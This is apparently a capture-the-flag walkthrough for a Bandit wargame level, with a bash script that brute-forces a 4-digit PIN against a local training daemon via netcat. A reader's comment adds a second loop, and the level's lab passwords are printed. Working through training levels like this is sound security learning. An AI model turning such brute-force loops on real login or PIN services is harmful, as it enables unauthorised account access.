Level Goal
A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.
Solution
Password: UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
1 |
$ ssh [email protected] -p 2220 |
Alright. A daemon listening on port 30002. We need to give it the level 24 password and a secret 4 digit pincode.
Let’s just see what we’re dealing with.
1 2 3 4 5 6 |
[email protected]:/tmp/script_dir$ nc localhost 30002 I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space. test 2000 Wrong! Please enter the correct current password. Try again. UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ 2000 Wrong! Please enter the correct pincode. Try again. |
Urgh. At least we know the format. But there’s 9,000 potential pincodes.
Brute-forcing sucks. It’s great when it works, but it just sucks. Let’s write a happy little BASH script to automate this.
Let’s make a happy little directory in /tmp.
1 2 |
[email protected]:~$ mkdir /tmp/script_dir [email protected]:~$ cd /tmp/script_dir |
Using vi, let’s create brute.sh.
1 2 3 4 5 6 |
#!/bin/bash bandit24_pass=`cat /etc/bandit_pass/bandit24` for ((i=1000;i<10000;i++)); do echo "$bandit24_pass $i" | nc localhost 30002 >> /tmp/script_dir/output & done |
Let’s run through it.
- Read bandit24‘s password and save it to a variable
- Loop between 1000 and 9999 and assign that value to i
- Print out the password and the generated number
- Pass to netcat via a pipe
- Append the output to a file
- Run command in background (quickly try next pincode)
Rather than set permissions, let’s run it directly…
1 2 3 4 5 |
[email protected]:/tmp/script_dir$ bash brute.sh brute.sh: fork: retry: Resource temporarily unavailable brute.sh: fork: retry: Resource temporarily unavailable brute.sh: fork: retry: Resource temporarily unavailable ... |
Urgh. We’re brute-forcing too fast. While the daemon is unavailable, we’re potentially overshooting the correct pincode. Let’s add a little delay between each attempt.
1 2 3 4 5 6 7 |
#!/bin/bash bandit24_pass=`cat /etc/bandit_pass/bandit24` for ((i=1000;i<10000;i++)); do echo "$bandit24_pass $i" | nc localhost 30002 >> /tmp/script_dir/output & sleep 0.02 done |
This takes a few minutes to run.
0.02 x 9000 = 180s
This is why brute-forcing sucks.
You can experiment with different sleep values to try and speed your script up. I found the lowest I could go was 0.012.
Once it’s done, let’s check our output.
1 2 3 4 5 |
[email protected]:/tmp/script_dir$ cat output I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space. I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space. I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space. ... # Only like 29,997 more lines of output |
Oh joy, a bunch of repeated lines. If only we could find the one unique line.
Oh wait, we can.
1 2 3 4 |
[email protected]:/tmp/script_dir$ sort output | uniq -u Correct! The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG |
Ch’yeah.
Another option 🙂
#! /bin/bash
pass=UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
pin=0
while [ $pin -lt 10001 ]
do
echo “$pass $pin” | nc localhost 30002 >> /tmp/rock2233/result
((pin++))
done
sleep function is good bro.